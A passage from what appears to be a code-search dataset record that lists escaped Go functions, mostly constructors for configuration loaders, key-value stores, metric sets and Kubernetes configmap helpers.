err != nil {\n\t\t\t\t\tlog.Warn(\"failed to update leveldb metrics\",\n\t\t\t\t\t\tzap.Error(err),\n\t\t\t\t\t)\n\t\t\t\t}\n\n\t\t\t\tselect {\n\t\t\t\tcase <-t.C:\n\t\t\t\tcase <-wrappedDB.closeCh:\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}\n\t\t}()\n\t}\n\treturn wrappedDB, nil\n}","func New[C db.Config](cfg C) db.Storage[C] {\n\treturn &MyStorage[C]{cfg: cfg}\n}","func NewKVStore (locationDirectory string) types.KVStore {\r\n\tkvs := &Store {\r\n\t\tStorFileLocation : locationDirectory,\r\n\t}\r\n\r\n\treturn kvs\r\n}","func New(name string, desc string, cfg interface{}) *Config {\n\treturn NewWithCommand(\n\t\t&cobra.Command{\n\t\t\tUse: name,\n\t\t\tLong: desc,\n\t\t\tRun: func(cmd *cobra.Command, args []string) {},\n\t\t}, cfg)\n}","func NewKeeper(\n\tcdc *codec.Codec, key sdk.StoreKey, ck internal.CUKeeper, tk internal.TokenKeeper, proto func() exported.CUIBCAsset) Keeper {\n\treturn Keeper{\n\t\tkey: key,\n\t\tcdc: cdc,\n\t\tproto: proto,\n\t\tck: ck,\n\t\ttk: tk,\n\t}\n}","func New(c context.Context) (config.Interface, error) {\n\tsettings, err := FetchCachedSettings(c)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif settings.ConfigServiceURL == \"\" {\n\t\treturn nil, ErrNotConfigured\n\t}\n\n\tc = client.UseServiceAccountTransport(c, nil, nil)\n\tcfg := remote.New(c, settings.ConfigServiceURL+\"/_ah/api/config/v1/\")\n\tif settings.CacheExpirationSec != 0 {\n\t\tf := NewCacheFilter(c, time.Duration(settings.CacheExpirationSec)*time.Second)\n\t\tcfg = f(c, cfg)\n\t}\n\treturn cfg, nil\n}","func init() {\n\tif err := mb.Registry.AddMetricSet(\"consulkv\", \"kv\", New); err != nil {\n\t\tpanic(err)\n\t}\n}","func NewKVItem(ctx *Context) (*KVItem, error) {\n\tkvItem := KVItem{context: ctx}\n\tret := C.tiledb_kv_item_alloc(kvItem.context.tiledbContext, &kvItem.tiledbKVItem)\n\tif ret != C.TILEDB_OK {\n\t\treturn nil, fmt.Errorf(\"Error creating tiledb kv: %s\", kvItem.context.LastError())\n\t}\n\n\t// Set finalizer for free C pointer on gc\n\truntime.SetFinalizer(&kvItem, func(kvItem *KVItem) {\n\t\tkvItem.Free()\n\t})\n\n\treturn &kvItem, nil\n}","func NewFromFile(path string) (*ExecMeta, error) {\n\tdata, err := readFile(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tbuf := bytes.NewBuffer(data)\n\treturn NewFromReader(buf)\n}","func newGetCfgCommand() *cobra.Command {\n\tcommand := &cobra.Command{\n\t\tUse: \"get\",\n\t\tShort: \"get config\",\n\t\tRunE: func(command *cobra.Command, _ []string) error {\n\t\t\tcomp, err := command.Flags().GetString(\"comp\")\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tstore, err := command.Flags().GetUint64(\"store\")\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\t// mock, err := command.Flags().GetBool(\"mock\")\n\t\t\t// if err != nil {\n\t\t\t// \treturn err\n\t\t\t// }\n\t\t\tconfig, err := defaultConfigClient.Get(comp, store)\n\t\t\tfmt.Println(config)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\treturn nil\n\t\t},\n\t}\n\n\tcommand.Flags().StringP(\"comp\", \"c\", \"tikv\", \"update component config\")\n\tcommand.Flags().Uint64P(\"store\", \"s\", 1,\n\t\t\"update the given store ids value\")\n\treturn command\n}","func NewKeyValueStore(fd *feed.API, ai *account.Info, user utils.Address, client blockstore.Client, logger logging.Logger) *KeyValue {\n\treturn &KeyValue{\n\t\tfd: fd,\n\t\tai: ai,\n\t\tuser: user,\n\t\tclient: client,\n\t\topenKVTables: make(map[string]*KVTable),\n\t\tlogger: logger,\n\t}\n}","func (kvs *KVInitService) getKV() *KV {\n\tkv := kvs.kv.Load()\n\tif kv == nil {\n\t\treturn nil\n\t}\n\treturn kv.(*KV)\n}","func (c *config) Meta() platform.Meta {\n\tnodes := c.ControllerCount\n\tfor _, workerpool := range c.WorkerPools {\n\t\tnodes += workerpool.Count\n\t}\n\n\tcharts := platform.CommonControlPlaneCharts(platform.ControlPlanCharts{\n\t\tKubelet: !c.DisableSelfHostedKubelet,\n\t\tNodeLocalDNS: c.EnableNodeLocalDNS,\n\t})\n\n\tcharts = append(charts, helm.LokomotiveChart{\n\t\tName: \"calico-host-protection\",\n\t\tNamespace: \"kube-system\",\n\t})\n\n\tcharts = append(charts, helm.LokomotiveChart{\n\t\tName: \"packet-ccm\",\n\t\tNamespace: \"kube-system\",\n\t})\n\n\treturn platform.Meta{\n\t\tAssetDir: c.AssetDir,\n\t\tExpectedNodes: nodes,\n\t\tControlplaneCharts: charts,\n\t\tDeployments: append(platform.CommonDeployments(c.ControllerCount), []platform.Workload{\n\t\t\t{\n\t\t\t\tName: \"calico-hostendpoint-controller\",\n\t\t\t\tNamespace: \"kube-system\",\n\t\t\t},\n\t\t\t{\n\t\t\t\tName: \"packet-cloud-controller-manager\",\n\t\t\t\tNamespace: \"kube-system\",\n\t\t\t},\n\t\t}...),\n\t\tDaemonSets: platform.CommonDaemonSets(c.ControllerCount, c.DisableSelfHostedKubelet),\n\t\tControllerModuleName: fmt.Sprintf(\"%s-%s\", Name, c.ClusterName),\n\t}\n}","func NewFromFile(filepath string, cfg *Config) error {\n\tvar cfgraw []byte\n\tvar err error\n\n\tcfgraw, err = ioutil.ReadFile(filepath)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif err = yaml.Unmarshal(cfgraw, &cfg); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}","func New() (Config, error) {\n\tpaths, err := getDefaultPaths()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tfor _, p := range paths {\n\t\tconf, err := FromFile(p)\n\t\tif err == nil {\n\t\t\treturn conf, nil\n\t\t}\n\t\t// Return an error if cloud.yaml is not well-formed; otherwise,\n\t\t// just continue to the next file.\n\t\tif parseErr, ok := err.(*ParseError); ok {\n\t\t\treturn nil, parseErr\n\t\t}\n\t}\n\treturn nil, errors.New(\"config: no usable clouds.yaml file found\")\n}","func newConfigProviderFromFile(opts *Options) (*iniFileConfigProvider, error) {\n\tcfg := ini.Empty()\n\tnewFile := true\n\n\tif opts.CustomConf != \"\" {\n\t\tisFile, err := util.IsFile(opts.CustomConf)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"unable to check if %s is a file. Error: %v\", opts.CustomConf, err)\n\t\t}\n\t\tif isFile {\n\t\t\tif err := cfg.Append(opts.CustomConf); err != nil {\n\t\t\t\treturn nil, fmt.Errorf(\"failed to load custom conf '%s': %v\", opts.CustomConf, err)\n\t\t\t}\n\t\t\tnewFile = false\n\t\t}\n\t}\n\n\tif newFile && !opts.AllowEmpty {\n\t\treturn nil, fmt.Errorf(\"unable to find configuration file: %q, please ensure you are running in the correct environment or set the correct configuration file with -c\", CustomConf)\n\t}\n\n\tif opts.ExtraConfig != \"\" {\n\t\tif err := cfg.Append([]byte(opts.ExtraConfig)); err != nil {\n\t\t\treturn nil, fmt.Errorf(\"unable to append more config: %v\", err)\n\t\t}\n\t}\n\n\tcfg.NameMapper = ini.SnackCase\n\treturn &iniFileConfigProvider{\n\t\topts: opts,\n\t\tFile: cfg,\n\t\tnewFile: newFile,\n\t}, nil\n}","func newKubeadmConfigAction() Action {\n\treturn &kubeadmConfigAction{}\n}","func NewCfg() *Cfg {\n\treturn &Cfg{\n\t\tNode: node.NewCfg(),\n\t}\n}"],"string":"[\n \"func New(base mb.BaseMetricSet) (mb.MetricSet, error) {\\n\\n\\tconfig := struct {\\n\\t\\tKeys []string `config:\\\"keys\\\"`\\n\\t}{\\n\\t\\tKeys: []string{},\\n\\t}\\n\\n\\tif err := base.Module().UnpackConfig(&config); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tlogp.Warn(\\\"EXPERIMENTAL: The consulkv kv metricset is experimental %v\\\", config)\\n\\n\\treturn &MetricSet{\\n\\t\\tBaseMetricSet: base,\\n\\t\\tkeys: config.Keys,\\n\\t}, nil\\n}\",\n \"func New(path string) (*KV, error) {\\n\\tb, err := bolt.Open(path, 0644, nil)\\n\\treturn &KV{db: b}, err\\n}\",\n \"func (k *Keybase) NewKV(team string) KV {\\n\\treturn KV{\\n\\t\\tkeybase: k,\\n\\t\\tTeam: team,\\n\\t}\\n}\",\n \"func New(cfg *Config) *Engine {\\n\\tif cfg.OpenCacheSize == 0 {\\n\\t\\tcfg.OpenCacheSize = DefaultOpenCacheSize\\n\\t}\\n\\n\\tif cfg.BatchSize == 0 {\\n\\t\\tcfg.BatchSize = DefaultBatchSize\\n\\t}\\n\\n\\tif cfg.KVStore == \\\"\\\" {\\n\\t\\tcfg.KVStore = DefaultKVStore\\n\\t}\\n\\n\\tif cfg.KVConfig == nil {\\n\\t\\tcfg.KVConfig = store.KVConfig{}\\n\\t}\\n\\n\\tng := &Engine{\\n\\t\\tconfig: cfg,\\n\\t\\tstores: cache.NewLRUCache(cfg.OpenCacheSize),\\n\\t}\\n\\n\\tif debug, ok := cfg.KVConfig[\\\"debug\\\"].(bool); ok {\\n\\t\\tng.debug = debug\\n\\t}\\n\\n\\tng.stores.OnRemove(func(key string, value interface{}) {\\n\\t\\tstorekv, ok := value.(store.KVStore)\\n\\n\\t\\tif !ok {\\n\\t\\t\\tpanic(\\\"Unexpected value in cache\\\")\\n\\t\\t}\\n\\n\\t\\tif storekv.IsOpen() {\\n\\t\\t\\tstorekv.Close()\\n\\t\\t}\\n\\t})\\n\\n\\treturn ng\\n}\",\n \"func New(file ...string) *Config {\\n\\tname := DefaultConfigFile\\n\\tif len(file) > 0 {\\n\\t\\tname = file[0]\\n\\t} else {\\n\\t\\t// Custom default configuration file name from command line or environment.\\n\\t\\tif customFile := gcmd.GetOptWithEnv(commandEnvKeyForFile).String(); customFile != \\\"\\\" {\\n\\t\\t\\tname = customFile\\n\\t\\t}\\n\\t}\\n\\tc := &Config{\\n\\t\\tdefaultName: name,\\n\\t\\tsearchPaths: garray.NewStrArray(true),\\n\\t\\tjsonMap: gmap.NewStrAnyMap(true),\\n\\t}\\n\\t// Customized dir path from env/cmd.\\n\\tif customPath := gcmd.GetOptWithEnv(commandEnvKeyForPath).String(); customPath != \\\"\\\" {\\n\\t\\tif gfile.Exists(customPath) {\\n\\t\\t\\t_ = c.SetPath(customPath)\\n\\t\\t} else {\\n\\t\\t\\tif errorPrint() {\\n\\t\\t\\t\\tglog.Errorf(\\\"[gcfg] Configuration directory path does not exist: %s\\\", customPath)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t} else {\\n\\t\\t// Dir path of working dir.\\n\\t\\tif err := c.AddPath(gfile.Pwd()); err != nil {\\n\\t\\t\\tintlog.Error(context.TODO(), err)\\n\\t\\t}\\n\\n\\t\\t// Dir path of main package.\\n\\t\\tif mainPath := gfile.MainPkgPath(); mainPath != \\\"\\\" && gfile.Exists(mainPath) {\\n\\t\\t\\tif err := c.AddPath(mainPath); err != nil {\\n\\t\\t\\t\\tintlog.Error(context.TODO(), err)\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\t// Dir path of binary.\\n\\t\\tif selfPath := gfile.SelfDir(); selfPath != \\\"\\\" && gfile.Exists(selfPath) {\\n\\t\\t\\tif err := c.AddPath(selfPath); err != nil {\\n\\t\\t\\t\\tintlog.Error(context.TODO(), err)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\treturn c\\n}\",\n \"func NewBackend(logger logger.Logger, v3ioContext v3io.Context, config *frames.BackendConfig, framesConfig *frames.Config) (frames.DataBackend, error) {\\n\\tnewBackend := Backend{\\n\\t\\tlogger: logger.GetChild(\\\"kv\\\"),\\n\\t\\tnumWorkers: config.Workers,\\n\\t\\tupdateWorkersPerVN: config.UpdateWorkersPerVN,\\n\\t\\tframesConfig: framesConfig,\\n\\t\\tv3ioContext: v3ioContext,\\n\\t\\tinactivityTimeout: 0,\\n\\t\\tmaxRecordsInfer: config.MaxRecordsInferSchema,\\n\\t}\\n\\treturn &newBackend, nil\\n}\",\n \"func New(storage corestorage.KV, logger *zap.Logger) *KV {\\n\\tkv := &KV{\\n\\t\\tstorage: storage,\\n\\t\\tlogger: logger,\\n\\t}\\n\\n\\treturn kv\\n}\",\n \"func newCmdAddConfigMap(\\n\\tfSys filesys.FileSystem,\\n\\tldr ifc.KvLoader,\\n\\trf *resource.Factory) *cobra.Command {\\n\\tvar flags flagsAndArgs\\n\\tcmd := &cobra.Command{\\n\\t\\tUse: \\\"configmap NAME [--behavior={create|merge|replace}] [--from-file=[key=]source] [--from-literal=key1=value1]\\\",\\n\\t\\tShort: \\\"Adds a configmap to the kustomization file\\\",\\n\\t\\tLong: \\\"\\\",\\n\\t\\tExample: `\\n\\t# Adds a configmap to the kustomization file (with a specified key)\\n\\tkustomize edit add configmap my-configmap --from-file=my-key=file/path --from-literal=my-literal=12345\\n\\n\\t# Adds a configmap to the kustomization file (key is the filename)\\n\\tkustomize edit add configmap my-configmap --from-file=file/path\\n\\n\\t# Adds a configmap from env-file\\n\\tkustomize edit add configmap my-configmap --from-env-file=env/path.env\\n\\n\\t# Adds a configmap from env-file with behavior merge\\n\\tkustomize edit add configmap my-configmap --behavior=merge --from-env-file=env/path.env\\t\\n`,\\n\\t\\tRunE: func(_ *cobra.Command, args []string) error {\\n\\t\\t\\terr := flags.ExpandFileSource(fSys)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn err\\n\\t\\t\\t}\\n\\n\\t\\t\\terr = flags.Validate(args)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn err\\n\\t\\t\\t}\\n\\n\\t\\t\\t// Load the kustomization file.\\n\\t\\t\\tmf, err := kustfile.NewKustomizationFile(fSys)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn err\\n\\t\\t\\t}\\n\\n\\t\\t\\tkustomization, err := mf.Read()\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn err\\n\\t\\t\\t}\\n\\n\\t\\t\\t// Add the flagsAndArgs map to the kustomization file.\\n\\t\\t\\terr = addConfigMap(ldr, kustomization, flags, rf)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn err\\n\\t\\t\\t}\\n\\n\\t\\t\\t// Write out the kustomization file with added configmap.\\n\\t\\t\\treturn mf.Write(kustomization)\\n\\t\\t},\\n\\t}\\n\\n\\tcmd.Flags().StringSliceVar(\\n\\t\\t&flags.FileSources,\\n\\t\\t\\\"from-file\\\",\\n\\t\\t[]string{},\\n\\t\\t\\\"Key file can be specified using its file path, in which case file basename will be used as configmap \\\"+\\n\\t\\t\\t\\\"key, or optionally with a key and file path, in which case the given key will be used. Specifying a \\\"+\\n\\t\\t\\t\\\"directory will iterate each named file in the directory whose basename is a valid configmap key.\\\")\\n\\tcmd.Flags().StringArrayVar(\\n\\t\\t&flags.LiteralSources,\\n\\t\\t\\\"from-literal\\\",\\n\\t\\t[]string{},\\n\\t\\t\\\"Specify a key and literal value to insert in configmap (i.e. mykey=somevalue)\\\")\\n\\tcmd.Flags().StringVar(\\n\\t\\t&flags.EnvFileSource,\\n\\t\\t\\\"from-env-file\\\",\\n\\t\\t\\\"\\\",\\n\\t\\t\\\"Specify the path to a file to read lines of key=val pairs to create a configmap (i.e. a Docker .env file).\\\")\\n\\tcmd.Flags().BoolVar(\\n\\t\\t&flags.DisableNameSuffixHash,\\n\\t\\t\\\"disableNameSuffixHash\\\",\\n\\t\\tfalse,\\n\\t\\t\\\"Disable the name suffix for the configmap\\\")\\n\\tcmd.Flags().StringVar(\\n\\t\\t&flags.Behavior,\\n\\t\\t\\\"behavior\\\",\\n\\t\\t\\\"\\\",\\n\\t\\t\\\"Specify the behavior for config map generation, i.e whether to create a new configmap (the default), \\\"+\\n\\t\\t\\t\\\"to merge with a previously defined one, or to replace an existing one. Merge and replace should be used only \\\"+\\n\\t\\t\\t\\\" when overriding an existing configmap defined in a base\\\")\\n\\n\\treturn cmd\\n}\",\n \"func newConfigMapStore(c kubernetes.Interface) configMapStore {\\n\\treturn &APIServerconfigMapStore{\\n\\t\\tconfigMapStore: cache.NewStore(cache.MetaNamespaceKeyFunc),\\n\\t\\tclient: c,\\n\\t}\\n}\",\n \"func NewKV(b *barrier.Barrier) *KV {\\n\\treturn &KV{b: b}\\n}\",\n \"func NewKeyValue(name string, newType StorageType) *KeyValue {\\n\\tswitch newType {\\n\\n\\tcase MEMORY:\\n\\t\\t// TODO: No Merkle tree?\\n\\t\\treturn &KeyValue{\\n\\t\\t\\tType: newType,\\n\\t\\t\\tName: name,\\n\\t\\t\\tmemory: db.NewMemDB(),\\n\\t\\t}\\n\\n\\tcase PERSISTENT:\\n\\t\\tfullname := \\\"OneLedger-\\\" + name\\n\\n\\t\\tif FileExists(fullname, global.DatabaseDir()) {\\n\\t\\t\\t//log.Debug(\\\"Appending to database\\\", \\\"name\\\", fullname)\\n\\t\\t} else {\\n\\t\\t\\tlog.Info(\\\"Creating new database\\\", \\\"name\\\", fullname)\\n\\t\\t}\\n\\n\\t\\tstorage, err := db.NewGoLevelDB(fullname, global.DatabaseDir())\\n\\t\\tif err != nil {\\n\\t\\t\\tlog.Error(\\\"Database create failed\\\", \\\"err\\\", err)\\n\\t\\t\\tpanic(\\\"Can't create a database \\\" + global.DatabaseDir() + \\\"/\\\" + fullname)\\n\\t\\t}\\n\\n\\t\\ttree := iavl.NewMutableTree(storage, 100)\\n\\n\\t\\t// Note: the tree is empty, until at least one version is loaded\\n\\t\\ttree.LoadVersion(0)\\n\\n\\t\\treturn &KeyValue{\\n\\t\\t\\tType: newType,\\n\\t\\t\\tName: name,\\n\\t\\t\\tFile: fullname,\\n\\t\\t\\ttree: tree,\\n\\t\\t\\tdatabase: storage,\\n\\t\\t\\tversion: tree.Version64(),\\n\\t\\t}\\n\\tdefault:\\n\\t\\tpanic(\\\"Unknown Type\\\")\\n\\n\\t}\\n\\treturn nil\\n}\",\n \"func KeyfileSettingsBackendNew(filename, rootPath, rootGroup string) *SettingsBackend {\\n\\tcstr1 := (*C.gchar)(C.CString(filename))\\n\\tdefer C.free(unsafe.Pointer(cstr1))\\n\\n\\tcstr2 := (*C.gchar)(C.CString(rootPath))\\n\\tdefer C.free(unsafe.Pointer(cstr2))\\n\\n\\tcstr3 := (*C.gchar)(C.CString(rootGroup))\\n\\tdefer C.free(unsafe.Pointer(cstr3))\\n\\n\\treturn wrapSettingsBackend(wrapObject(unsafe.Pointer(C.g_keyfile_settings_backend_new(cstr1, cstr2, cstr3))))\\n}\",\n \"func New(\\n\\tdomain string,\\n\\tmachines []string,\\n\\toptions map[string]string,\\n) (kvdb.Kvdb, error) {\\n\\tif len(machines) == 0 {\\n\\t\\tmachines = defaultMachines\\n\\t} else {\\n\\t\\tif strings.HasPrefix(machines[0], \\\"http://\\\") {\\n\\t\\t\\tmachines[0] = strings.TrimPrefix(machines[0], \\\"http://\\\")\\n\\t\\t} else if strings.HasPrefix(machines[0], \\\"https://\\\") {\\n\\t\\t\\tmachines[0] = strings.TrimPrefix(machines[0], \\\"https://\\\")\\n\\t\\t}\\n\\t}\\n\\tconfig := api.DefaultConfig()\\n\\tconfig.HttpClient = http.DefaultClient\\n\\tconfig.Address = machines[0]\\n\\tconfig.Scheme = \\\"http\\\"\\n\\n\\tclient, err := api.NewClient(config)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn &consulKV{\\n\\t\\tclient,\\n\\t\\tconfig,\\n\\t\\tdomain,\\n\\t}, nil\\n}\",\n \"func newKVClient(ctx context.Context, storeType, address string, timeout time.Duration) (kvstore.Client, error) {\\n\\tlogger.Infow(ctx, \\\"kv-store-type\\\", log.Fields{\\\"store\\\": storeType})\\n\\tswitch storeType {\\n\\tcase \\\"etcd\\\":\\n\\t\\treturn kvstore.NewEtcdClient(ctx, address, timeout, log.FatalLevel)\\n\\t}\\n\\treturn nil, errors.New(\\\"unsupported-kv-store\\\")\\n}\",\n \"func newConfigMap(configMapName, namespace string, labels map[string]string,\\n\\tkibanaIndexMode, esUnicastHost, rootLogger, nodeQuorum, recoverExpectedShards, primaryShardsCount, replicaShardsCount string) *v1.ConfigMap {\\n\\n\\terr, data := renderData(kibanaIndexMode, esUnicastHost, nodeQuorum, recoverExpectedShards, primaryShardsCount, replicaShardsCount, rootLogger)\\n\\tif err != nil {\\n\\t\\treturn nil\\n\\t}\\n\\n\\treturn &v1.ConfigMap{\\n\\t\\tTypeMeta: metav1.TypeMeta{\\n\\t\\t\\tKind: \\\"ConfigMap\\\",\\n\\t\\t\\tAPIVersion: v1.SchemeGroupVersion.String(),\\n\\t\\t},\\n\\t\\tObjectMeta: metav1.ObjectMeta{\\n\\t\\t\\tName: configMapName,\\n\\t\\t\\tNamespace: namespace,\\n\\t\\t\\tLabels: labels,\\n\\t\\t},\\n\\t\\tData: data,\\n\\t}\\n}\",\n \"func New(ctx context.Context, log *zap.Logger, cfg *Config) (gokvstores.KVStore, error) {\\n\\tif cfg == nil {\\n\\t\\treturn gokvstores.DummyStore{}, nil\\n\\t}\\n\\n\\tlog.Info(\\\"KVStore configured\\\",\\n\\t\\tlogger.String(\\\"type\\\", cfg.Type))\\n\\n\\tswitch cfg.Type {\\n\\tcase dummyKVStoreType:\\n\\t\\treturn gokvstores.DummyStore{}, nil\\n\\tcase redisRoundRobinType:\\n\\t\\tredis := cfg.RedisRoundRobin\\n\\n\\t\\tkvstores := make([]gokvstores.KVStore, len(redis.Addrs))\\n\\t\\tfor i := range redis.Addrs {\\n\\t\\t\\tredisOptions, err := parseRedisURL(redis.Addrs[i])\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn nil, err\\n\\t\\t\\t}\\n\\t\\t\\ts, err := gokvstores.NewRedisClientStore(ctx, redisOptions, time.Duration(redis.Expiration)*time.Second)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn nil, err\\n\\t\\t\\t}\\n\\n\\t\\t\\tkvstores[i] = s\\n\\t\\t}\\n\\n\\t\\treturn &kvstoreWrapper{&redisRoundRobinStore{kvstores}, cfg.Prefix}, nil\\n\\tcase redisClusterKVStoreType:\\n\\t\\tredis := cfg.RedisCluster\\n\\n\\t\\ts, err := gokvstores.NewRedisClusterStore(ctx, &gokvstores.RedisClusterOptions{\\n\\t\\t\\tAddrs: redis.Addrs,\\n\\t\\t\\tPassword: redis.Password,\\n\\t\\t}, time.Duration(redis.Expiration)*time.Second)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\n\\t\\treturn &kvstoreWrapper{s, cfg.Prefix}, nil\\n\\tcase redisKVStoreType:\\n\\t\\tredis := cfg.Redis\\n\\n\\t\\ts, err := gokvstores.NewRedisClientStore(ctx, &gokvstores.RedisClientOptions{\\n\\t\\t\\tAddr: redis.Addr(),\\n\\t\\t\\tDB: redis.DB,\\n\\t\\t\\tPassword: redis.Password,\\n\\t\\t}, time.Duration(redis.Expiration)*time.Second)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\n\\t\\treturn &kvstoreWrapper{s, cfg.Prefix}, nil\\n\\tcase cacheKVStoreType:\\n\\t\\tcache := cfg.Cache\\n\\n\\t\\ts, err := gokvstores.NewMemoryStore(\\n\\t\\t\\ttime.Duration(cache.Expiration)*time.Second,\\n\\t\\t\\ttime.Duration(cache.CleanupInterval)*time.Second)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\n\\t\\treturn &kvstoreWrapper{s, cfg.Prefix}, nil\\n\\t}\\n\\n\\treturn nil, fmt.Errorf(\\\"kvstore %s does not exist\\\", cfg.Type)\\n}\",\n \"func newcfgfile(fp string) *cfgfile.ConfigFile {\\n\\treturn &cfgfile.ConfigFile{\\n\\t\\tSrvName: \\\"agentd\\\",\\n\\t\\tFilename: fp,\\n\\t}\\n}\",\n \"func NewConfigMap(namespace, cmName, originalFilename string, generatedKey string,\\n\\ttextData string, binaryData []byte) *corev1.ConfigMap {\\n\\timmutable := true\\n\\tcm := corev1.ConfigMap{\\n\\t\\tTypeMeta: metav1.TypeMeta{\\n\\t\\t\\tKind: \\\"ConfigMap\\\",\\n\\t\\t\\tAPIVersion: \\\"v1\\\",\\n\\t\\t},\\n\\t\\tObjectMeta: metav1.ObjectMeta{\\n\\t\\t\\tName: cmName,\\n\\t\\t\\tNamespace: namespace,\\n\\t\\t\\tLabels: map[string]string{\\n\\t\\t\\t\\tConfigMapOriginalFileNameLabel: originalFilename,\\n\\t\\t\\t\\tConfigMapAutogenLabel: \\\"true\\\",\\n\\t\\t\\t},\\n\\t\\t},\\n\\t\\tImmutable: &immutable,\\n\\t}\\n\\tif textData != \\\"\\\" {\\n\\t\\tcm.Data = map[string]string{\\n\\t\\t\\tgeneratedKey: textData,\\n\\t\\t}\\n\\t}\\n\\tif binaryData != nil {\\n\\t\\tcm.BinaryData = map[string][]byte{\\n\\t\\t\\tgeneratedKey: binaryData,\\n\\t\\t}\\n\\t}\\n\\treturn &cm\\n}\",\n \"func NewGoKV(store gokv.Store, namespace string) *GoKV {\\n\\treturn &GoKV{\\n\\t\\tkv: store,\\n\\t\\tpath: namespace,\\n\\t}\\n}\",\n \"func New(pathname string, setters ...ConfigSetter) (*Config, error) {\\n\\tvar err error\\n\\n\\tc := &Config{pathname: pathname}\\n\\n\\tfor _, setter := range setters {\\n\\t\\tif err := setter(c); err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\t}\\n\\n\\tcgms := []congomap.Setter{congomap.Lookup(c.lookupSection())}\\n\\tif c.ttl > 0 {\\n\\t\\tcgms = append(cgms, congomap.TTL(c.ttl))\\n\\t}\\n\\tc.cgm, err = congomap.NewSyncAtomicMap(cgms...) // relatively few config sections\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\treturn c, nil\\n}\",\n \"func newMeta(db *leveldb.DB) (*meta, error) {\\n\\ttasks, err := loadTaskMetas(db)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\treturn &meta{\\n\\t\\ttasks: tasks,\\n\\t}, nil\\n}\",\n \"func NewMetaConfig(s *bufio.Scanner, w io.Writer) *MetaConfig {\\n\\tm := &MetaConfig{}\\n\\tm.Scanner = s\\n\\tm.Writer = w\\n\\treturn m\\n}\",\n \"func New(name, dir string) Keybase {\\n\\tif err := cmn.EnsureDir(dir, 0700); err != nil {\\n\\t\\tpanic(fmt.Sprintf(\\\"failed to create Keybase directory: %s\\\", err))\\n\\t}\\n\\n\\treturn lazyKeybase{name: name, dir: dir}\\n}\",\n \"func NewKustomization(setters ...Option) (k *Kustomize, err error) {\\n\\tk = defaultOptions()\\n\\n\\t// Update settings for kustomization\\n\\tfor _, setter := range setters {\\n\\t\\tif err = setter(k); err != nil {\\n\\t\\t\\treturn k, err\\n\\t\\t}\\n\\t}\\n\\n\\t// Create Kustomization\\n\\tkustomizeYaml, err := yaml.Marshal(k.kustomize)\\n\\tif err != nil {\\n\\t\\treturn k, err\\n\\t}\\n\\n\\tif err = k.fs.WriteFile(filepath.Join(k.Base, konfig.DefaultKustomizationFileName()), kustomizeYaml); err != nil {\\n\\t\\treturn k, err\\n\\t}\\n\\n\\treturn k, err\\n}\",\n \"func NewStore(secret, key, ns string) (*K8s, error) {\\n\\tkubeconfig := os.Getenv(\\\"KUBECONFIG\\\")\\n\\tif len(kubeconfig) == 0 {\\n\\t\\tkubeconfig = os.Getenv(\\\"HOME\\\") + \\\"/.kube/config\\\"\\n\\t}\\n\\n\\tcfg, err := clientcmd.BuildConfigFromFlags(\\\"\\\", kubeconfig)\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"failed to configure k8s client: %s\\\", err.Error())\\n\\t}\\n\\n\\tclient, err := kubernetes.NewForConfig(cfg)\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"failed building k8s clientset: %s\\\", err.Error())\\n\\t}\\n\\n\\treturn &K8s{\\n\\t\\tclient: client,\\n\\t\\tsecret: secret,\\n\\t\\tkey: key,\\n\\t\\tns: ns,\\n\\t\\tready: false,\\n\\t}, nil\\n}\",\n \"func New(content map[string]interface{}) *Config {\\n\\treturn &Config{\\n\\t\\tm: content,\\n\\t}\\n}\",\n \"func New(config *config.ConsulConfig) (*KVHandler, error) {\\n\\tclient, err := newAPIClient(config)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tlogger := log.WithFields(log.Fields{\\n\\t\\t\\\"caller\\\": \\\"consul\\\",\\n\\t})\\n\\n\\tkv := client.KV()\\n\\n\\thandler := &KVHandler{\\n\\t\\tAPI: kv,\\n\\t\\tKVTxnOps: nil,\\n\\t\\tlogger: logger,\\n\\t}\\n\\n\\treturn handler, nil\\n}\",\n \"func newQueueMeta(conf *Conf) *queueMeta {\\n\\treturn &queueMeta{conf: conf}\\n}\",\n \"func NewLevelDBKV(path string) (*LevelDBKV, error) {\\n\\tdb, err := leveldb.OpenFile(path, nil)\\n\\tif err != nil {\\n\\t\\treturn nil, errs.ErrLevelDBOpen.Wrap(err).GenWithStackByCause()\\n\\t}\\n\\treturn &LevelDBKV{db}, nil\\n}\",\n \"func NewMeloctlConfigFromRaw(raw map[string]string) *MeloctlConfig {\\n\\treturn &MeloctlConfig{\\n\\t\\tMelodyHomeDir: 